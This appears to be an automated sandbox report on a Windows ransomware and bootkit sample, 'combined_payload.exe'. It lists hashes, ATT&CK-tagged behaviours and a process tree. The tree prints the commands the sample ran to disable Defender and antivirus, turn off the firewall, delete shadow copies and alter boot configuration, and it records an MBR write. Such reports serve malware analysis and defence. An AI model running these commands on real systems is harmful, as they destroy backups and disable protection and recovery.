15e8c703e4f1b61ffcc66bd98c6be8b161fec594745531e75cef0c09ada5b067

Analysis

user interaction
yes
max time kernel
7s
max time network
58s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/09/2026, 16:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
combined_payload.exe
Size 1.5MB
Sample260930-t5gsdsdb84
SHA256 15e8c703e4f1b61ffcc66bd98c6be8b161fec594745531e75cef0c09ada5b067
MD5 4739096adf6c7e02d180d5f1d8ea299f
SHA1 6cf7fe2b79889426d64f86004aa71dd0960460cb
SHA512 acd2f74b439d5aef5f38d7c0d18c4758b00d8b4af03655edad30b81a84f1f0c3633e4e0dfb493daf19c920f67508aa33514ab46bba79ddb7ac3e291555734cc7
SSDEEP 24576:Zi7phAFDwscNwpQGPXfL/norbQSGklGBS76U7CuR7hPs:yoDfcNQzM7PWa
TLSH
T1B4753903A7E6DDEAC89AA73491C7271AF634FC9017A39BD7421052316E537D99E3EB00
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

bootkit defense_evasion discovery evasion execution impact persistence privilege_escalation ransomware

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 6 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1592	bcdedit.exe
4676	bcdedit.exe
4252	bcdedit.exe
1680	bcdedit.exe
4680	bcdedit.exe
2920	bcdedit.exe

Disables one or more Microsoft Defender components 1 TTPs 5 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
4576	powershell.exe
4664	powershell.exe
4144	powershell.exe
880	powershell.exe
1504	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3760	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4664	powershell.exe
4144	powershell.exe
880	powershell.exe
1504	powershell.exe
4576	powershell.exe

Enumerates connected drives 3 TTPs 5 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	combined_payload.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3264	sc.exe
3732	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 16 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2988	snippingtool.exe
3744	snippingtool.exe
6340	snippingtool.exe
6944	snippingtool.exe
6984	snippingtool.exe
2416	snippingtool.exe
4756	snippingtool.exe
3424	snippingtool.exe
6648	snippingtool.exe
2528	snippingtool.exe
3800	snippingtool.exe
3036	snippingtool.exe
6436	snippingtool.exe
688	snippingtool.exe
2012	snippingtool.exe
6832	snippingtool.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4084	vssadmin.exe
1124	vssadmin.exe

Kills process with taskkill 15 IoCs

defense_evasion

pid	Process
1312	taskkill.exe
764	taskkill.exe
3256	taskkill.exe
2120	taskkill.exe
892	taskkill.exe
4996	taskkill.exe
4980	taskkill.exe
3980	taskkill.exe
3396	taskkill.exe
3972	taskkill.exe
2708	taskkill.exe
2416	taskkill.exe
740	taskkill.exe
1832	taskkill.exe
5100	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
4664	powershell.exe
4664	powershell.exe
4144	powershell.exe
4144	powershell.exe
880	powershell.exe
880	powershell.exe
1504	powershell.exe
1504	powershell.exe
4576	powershell.exe
4576	powershell.exe
4180	mspaint.exe
4180	mspaint.exe
388	mspaint.exe
388	mspaint.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	4664	powershell.exe
Token: SeDebugPrivilege	4144	powershell.exe
Token: SeDebugPrivilege	880	powershell.exe
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeBackupPrivilege	4320	vssvc.exe
Token: SeRestorePrivilege	4320	vssvc.exe
Token: SeAuditPrivilege	4320	vssvc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3296	combined_payload.exe

Suspicious use of SetWindowsHookEx 20 IoCs

pid	Process
3296	combined_payload.exe
3296	combined_payload.exe
4180	mspaint.exe
388	mspaint.exe
4756	snippingtool.exe
388	mspaint.exe
4180	mspaint.exe
388	mspaint.exe
388	mspaint.exe
4180	mspaint.exe
4180	mspaint.exe
1592	wordpad.exe
1592	wordpad.exe
1592	wordpad.exe
3904	wordpad.exe
3904	wordpad.exe
3904	wordpad.exe
368	wordpad.exe
368	wordpad.exe
368	wordpad.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3296 wrote to memory of 4664	3296	combined_payload.exe	87
PID 3296 wrote to memory of 4144	3296	combined_payload.exe	89
PID 3296 wrote to memory of 880	3296	combined_payload.exe	91
PID 3296 wrote to memory of 1504	3296	combined_payload.exe	95
PID 3296 wrote to memory of 4576	3296	combined_payload.exe	98
PID 3296 wrote to memory of 3264	3296	combined_payload.exe	100
PID 3296 wrote to memory of 3732	3296	combined_payload.exe	102
PID 3296 wrote to memory of 740	3296	combined_payload.exe	104
PID 3296 wrote to memory of 1832	3296	combined_payload.exe	106
PID 3296 wrote to memory of 3396	3296	combined_payload.exe	108
PID 3296 wrote to memory of 3972	3296	combined_payload.exe	110
PID 3296 wrote to memory of 4996	3296	combined_payload.exe	112
PID 3296 wrote to memory of 764	3296	combined_payload.exe	114
PID 3296 wrote to memory of 5100	3296	combined_payload.exe	116
PID 3296 wrote to memory of 4980	3296	combined_payload.exe	118
PID 3296 wrote to memory of 3256	3296	combined_payload.exe	120
PID 3296 wrote to memory of 2120	3296	combined_payload.exe	122
PID 3296 wrote to memory of 2708	3296	combined_payload.exe	124
PID 3296 wrote to memory of 2416	3296	combined_payload.exe	295
PID 3296 wrote to memory of 1312	3296	combined_payload.exe	192
PID 3296 wrote to memory of 3980	3296	combined_payload.exe	130
PID 3296 wrote to memory of 892	3296	combined_payload.exe	195
PID 3296 wrote to memory of 3760	3296	combined_payload.exe	134
PID 3296 wrote to memory of 964	3296	combined_payload.exe	136
PID 964 wrote to memory of 1496	964	net.exe	262
PID 3296 wrote to memory of 4084	3296	combined_payload.exe	139
PID 3296 wrote to memory of 1592	3296	combined_payload.exe	206
PID 3296 wrote to memory of 4676	3296	combined_payload.exe	145
PID 3296 wrote to memory of 1748	3296	combined_payload.exe	147
PID 3296 wrote to memory of 4252	3296	combined_payload.exe	221
PID 3296 wrote to memory of 1680	3296	combined_payload.exe	151
PID 3296 wrote to memory of 4680	3296	combined_payload.exe	153
PID 3296 wrote to memory of 1124	3296	combined_payload.exe	155
PID 3296 wrote to memory of 2920	3296	combined_payload.exe	157
PID 3296 wrote to memory of 1568	3296	combined_payload.exe	159
PID 3296 wrote to memory of 4536	3296	combined_payload.exe	160
PID 3296 wrote to memory of 1368	3296	combined_payload.exe	161
PID 3296 wrote to memory of 688	3296	combined_payload.exe	162
PID 3296 wrote to memory of 4756	3296	combined_payload.exe	163
PID 3296 wrote to memory of 4308	3296	combined_payload.exe	164
PID 3296 wrote to memory of 824	3296	combined_payload.exe	165
PID 3296 wrote to memory of 4180	3296	combined_payload.exe	167
PID 3296 wrote to memory of 4840	3296	combined_payload.exe	168
PID 3296 wrote to memory of 3800	3296	combined_payload.exe	169
PID 3296 wrote to memory of 388	3296	combined_payload.exe	170
PID 3296 wrote to memory of 2316	3296	combined_payload.exe	171
PID 3296 wrote to memory of 2988	3296	combined_payload.exe	172
PID 3296 wrote to memory of 3488	3296	combined_payload.exe	174
PID 3296 wrote to memory of 3744	3296	combined_payload.exe	176
PID 3296 wrote to memory of 2676	3296	combined_payload.exe	178
PID 3296 wrote to memory of 2320	3296	combined_payload.exe	179
PID 3296 wrote to memory of 3808	3296	combined_payload.exe	181
PID 3296 wrote to memory of 5080	3296	combined_payload.exe	183
PID 3296 wrote to memory of 3376	3296	combined_payload.exe	186
PID 3296 wrote to memory of 2904	3296	combined_payload.exe	187
PID 3296 wrote to memory of 3424	3296	combined_payload.exe	189
PID 3296 wrote to memory of 1252	3296	combined_payload.exe	190
PID 3296 wrote to memory of 1312	3296	combined_payload.exe	192
PID 3296 wrote to memory of 1292	3296	combined_payload.exe	194
PID 3296 wrote to memory of 1924	3296	combined_payload.exe	196
PID 3296 wrote to memory of 4152	3296	combined_payload.exe	197
PID 3296 wrote to memory of 2836	3296	combined_payload.exe	199
PID 3296 wrote to memory of 272	3296	combined_payload.exe	201
PID 3296 wrote to memory of 4264	3296	combined_payload.exe	202

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\combined_payload.exe
"C:\Users\Admin\AppData\Local\Temp\combined_payload.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableIOAVProtection $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableScriptScanning $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4576
- C:\Windows\SYSTEM32\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:3264
- C:\Windows\SYSTEM32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3732
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im MsMpEng.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:740
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im MsSense.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:1832
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im SenseIR.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:3396
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im SenseNdr.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:3972
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im WdNisSvc.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:4996
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:764
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im MpCmdRun.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:5100
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im avp.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:4980
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im avguard.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:3256
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im bdagent.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:2120
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im egui.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:2708
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im kavfs.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:2416
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im mcshield.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:1312
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im norton.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:3980
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im sophos.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:892
- C:\Windows\SYSTEM32\netsh.exe
  netsh advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3760
- C:\Windows\SYSTEM32\net.exe
  net stop mpssvc
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:964
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop mpssvc
    3⤵
    PID:1496
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4084
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1592
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {default} recoveryenabled no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4676
- C:\Windows\SYSTEM32\mountvol.exe
  mountvol S: /s
  2⤵
  PID:1748
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {current} testsigning on
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4252
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {current} nointegritychecks on
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1680
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {current} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4680
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1124
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /deletevalue {current} recoverysequence
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2920
- C:\Windows\SYSTEM32\calc.exe
  calc.exe
  2⤵
  PID:1568
- C:\Windows\SYSTEM32\charmap.exe
  charmap.exe
  2⤵
  PID:4536
- C:\Windows\SYSTEM32\charmap.exe
  charmap.exe
  2⤵
  PID:1368
- C:\Windows\SYSTEM32\snippingtool.exe
  snippingtool.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:688
- C:\Windows\SYSTEM32\snippingtool.exe
  snippingtool.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4756
- C:\Windows\SYSTEM32\charmap.exe
  charmap.exe
  2⤵
  PID:4308
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:824
- C:\Windows\SYSTEM32\mspaint.exe
  mspaint.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:4180
- C:\Windows\SYSTEM32\calc.exe
  calc.exe
  2⤵
  PID:4840
- C:\Windows\SYSTEM32\snippingtool.exe
  snippingtool.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:3800
- C:\Windows\SYSTEM32\mspaint.exe
  mspaint.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:388
- C:\Windows\SYSTEM32\charmap.exe
  charmap.exe
  2⤵
  PID:2316
- C:\Windows\SYSTEM32\snippingtool.exe
  snippingtool.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:2988
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:3488
- C:\Windows\SYSTEM32\snippingtool.exe
  snippingtool.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:3744
- C:\Windows\SYSTEM32\charmap.exe
  charmap.exe
  2⤵
  PID:2676
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:2320
- C:\Windows\SYSTEM32\charmap.exe
  charmap.exe
  2⤵
  PID:3808
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:5080
- C:\Windows\SYSTEM32\calc.exe
  calc.exe
  2⤵
  PID:3376
- C:\Windows\SYSTEM32\calc.exe
  calc.exe
  2⤵
  PID:2904
- C:\Windows\SYSTEM32\snippingtool.exe
  snippingtool.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:3424
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:1252
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:1312
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:1292
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:892
- C:\Windows\SYSTEM32\write.exe
  write.exe
  2⤵
  PID:1924
- - C:\Program Files\Windows NT\Accessories\wordpad.exe
    "C:\Program Files\Windows NT\Accessories\wordpad.exe"
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:1592
- C:\Windows\SYSTEM32\calc.exe
  calc.exe
  2⤵
  PID:4152
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:2836
- C:\Windows\SYSTEM32\write.exe
  write.exe
  2⤵
  PID:272
- - C:\Program Files\Windows NT\Accessories\wordpad.exe
    "C:\Program Files\Windows NT\Accessories\wordpad.exe"
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:3904
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4264
- C:\Windows\SYSTEM32\write.exe
  write.exe
  2⤵
  PID:2232
- - C:\Program Files\Windows NT\Accessories\wordpad.exe
    "C:\Program Files\Windows NT\Accessories\wordpad.exe"
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:368
- C:\Windows\SYSTEM32\calc.exe
  calc.exe
  2⤵
  PID:2608
- C:\Windows\SYSTEM32\calc.exe
  calc.exe
  2⤵
  PID:1108
- C:\Windows\SYSTEM32\notepad.exe
  notepad.exe
  2⤵
  PID:2376
- C:\Windows\SYSTEM32\calc.exe
  calc.exe
  2⤵
  PID:4716
- C:\Windows\SYSTEM32\charmap.exe
  charmap.exe
  2⤵
  PID:2876
- C:\Windows\SYSTEM32\write.exe
  write.exe
  2⤵
  PID:4280
- - C:\Program Files\Windows NT\Accessories\wordpad.exe
    "C:\Program Files\Windows NT\Accessories\wordpad.exe"
    3⤵
    PID:5240
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:1488
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4708
- C:\Windows\SYSTEM32\snippingtool.exe
  snippingtool.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:2012
- C:\Windows\SYSTEM32\charmap.exe
  charmap.exe
  2⤵
  PID:4252
- C:\Windows\SYSTEM32\calc.exe
  calc.exe
  2⤵
  PID:5148
- C:\Windows\SYSTEM32\calc.exe
  calc.exe
  2⤵
  PID:5196
- C:\Windows\SYSTEM32\notepad.exe
  notepad.exe
  2⤵
  PID:5256
- C:\Windows\SYSTEM32\write.exe
  write.exe
  2⤵
  PID:5292
- - C:\Program Files\Windows NT\Accessories\wordpad.exe
    "C:\Program Files\Windows NT\Accessories\wordpad.exe"
    3⤵
    PID:5540
- C:\Windows\SYSTEM32\calc.exe
  calc.exe
  2⤵
  PID:5332
- C:\Windows\SYSTEM32\mspaint.exe
  mspaint.exe
  2⤵
  PID:5396
- C:\Windows\SYSTEM32\notepad.exe
  notepad.exe
  2⤵
  PID:5432
- C:\Windows\SYSTEM32\notepad.exe
  notepad.exe
  2⤵
  PID:5476
- C:\Windows\SYSTEM32\charmap.exe
  charmap.exe
  2⤵
  PID:5508
- C:\Windows\SYSTEM32\charmap.exe
  charmap.exe
  2⤵
  PID:5568
- C:\Windows\SYSTEM32\mspaint.exe
  mspaint.exe
  2⤵
  PID:5616
- C:\Windows\SYSTEM32\write.exe
  write.exe
  2⤵
  PID:5648
- - C:\Program Files\Windows NT\Accessories\wordpad.exe
    "C:\Program Files\Windows NT\Accessories\wordpad.exe"
    3⤵
    PID:5848
- C:\Windows\SYSTEM32\charmap.exe
  charmap.exe
  2⤵
  PID:5700
- C:\Windows\SYSTEM32\calc.exe
  calc.exe
  2⤵
  PID:5740
- C:\Windows\SYSTEM32\write.exe
  write.exe
  2⤵
  PID:5780
- - C:\Program Files\Windows NT\Accessories\wordpad.exe
    "C:\Program Files\Windows NT\Accessories\wordpad.exe"
    3⤵
    PID:6116
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:5812
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:5836
- C:\Windows\SYSTEM32\charmap.exe
  charmap.exe
  2⤵
  PID:5896
- C:\Windows\SYSTEM32\write.exe
  write.exe
  2⤵
  PID:5956
- - C:\Program Files\Windows NT\Accessories\wordpad.exe
    "C:\Program Files\Windows NT\Accessories\wordpad.exe"
    3⤵
    PID:6216
- C:\Windows\SYSTEM32\write.exe
  write.exe
  2⤵
  PID:6028
- - C:\Program Files\Windows NT\Accessories\wordpad.exe
    "C:\Program Files\Windows NT\Accessories\wordpad.exe"
    3⤵
    PID:6244
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:6072
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:6132
- C:\Windows\SYSTEM32\snippingtool.exe
  snippingtool.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:3036
- C:\Windows\SYSTEM32\calc.exe
  calc.exe
  2⤵
  PID:1848
- C:\Windows\SYSTEM32\write.exe
  write.exe
  2⤵
  PID:5028
- - C:\Program Files\Windows NT\Accessories\wordpad.exe
    "C:\Program Files\Windows NT\Accessories\wordpad.exe"
    3⤵
    PID:6424
- C:\Windows\SYSTEM32\notepad.exe
  notepad.exe
  2⤵
  PID:5668
- C:\Windows\SYSTEM32\calc.exe
  calc.exe
  2⤵
  PID:1496
- C:\Windows\SYSTEM32\charmap.exe
  charmap.exe
  2⤵
  PID:6164
- C:\Windows\SYSTEM32\notepad.exe
  notepad.exe
  2⤵
  PID:6252
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:6312
- C:\Windows\SYSTEM32\snippingtool.exe
  snippingtool.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:6340
- C:\Windows\SYSTEM32\calc.exe
  calc.exe
  2⤵
  PID:6364
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:6396
- C:\Windows\SYSTEM32\snippingtool.exe
  snippingtool.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:6436
- C:\Windows\SYSTEM32\write.exe
  write.exe
  2⤵
  PID:6504
- - C:\Program Files\Windows NT\Accessories\wordpad.exe
    "C:\Program Files\Windows NT\Accessories\wordpad.exe"
    3⤵
    PID:4592
- C:\Windows\SYSTEM32\calc.exe
  calc.exe
  2⤵
  PID:6576
- C:\Windows\SYSTEM32\notepad.exe
  notepad.exe
  2⤵
  PID:6612
- C:\Windows\SYSTEM32\snippingtool.exe
  snippingtool.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:6648
- C:\Windows\SYSTEM32\notepad.exe
  notepad.exe
  2⤵
  PID:6684
- C:\Windows\SYSTEM32\mspaint.exe
  mspaint.exe
  2⤵
  PID:6724
- C:\Windows\SYSTEM32\notepad.exe
  notepad.exe
  2⤵
  PID:6768
- C:\Windows\SYSTEM32\snippingtool.exe
  snippingtool.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:6832
- C:\Windows\SYSTEM32\notepad.exe
  notepad.exe
  2⤵
  PID:6884
- C:\Windows\SYSTEM32\snippingtool.exe
  snippingtool.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:6944
- C:\Windows\SYSTEM32\snippingtool.exe
  snippingtool.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:6984
- C:\Windows\SYSTEM32\mspaint.exe
  mspaint.exe
  2⤵
  PID:7024
- C:\Windows\SYSTEM32\write.exe
  write.exe
  2⤵
  PID:7048
- - C:\Program Files\Windows NT\Accessories\wordpad.exe
    "C:\Program Files\Windows NT\Accessories\wordpad.exe"
    3⤵
    PID:1152
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:7084
- C:\Windows\SYSTEM32\notepad.exe
  notepad.exe
  2⤵
  PID:7140
- C:\Windows\SYSTEM32\snippingtool.exe
  snippingtool.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:2416
- C:\Windows\SYSTEM32\charmap.exe
  charmap.exe
  2⤵
  PID:4704
- C:\Windows\SYSTEM32\mspaint.exe
  mspaint.exe
  2⤵
  PID:4044
- C:\Windows\SYSTEM32\calc.exe
  calc.exe
  2⤵
  PID:6420
- C:\Windows\SYSTEM32\calc.exe
  calc.exe
  2⤵
  PID:6372
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:5868
- C:\Windows\SYSTEM32\mspaint.exe
  mspaint.exe
  2⤵
  PID:6148
- C:\Windows\SYSTEM32\snippingtool.exe
  snippingtool.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:2528
- C:\Windows\SYSTEM32\charmap.exe
  charmap.exe
  2⤵
  PID:6660
- C:\Windows\SYSTEM32\notepad.exe
  notepad.exe
  2⤵
  PID:6412

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4320

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:1824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
1⤵
PID:1552

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:2036

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:3828

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:1424

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:4888

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:5208

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:5380

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:5576

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:5688

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:5876

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:6100

C:\Windows\system32\OpenWith.exe
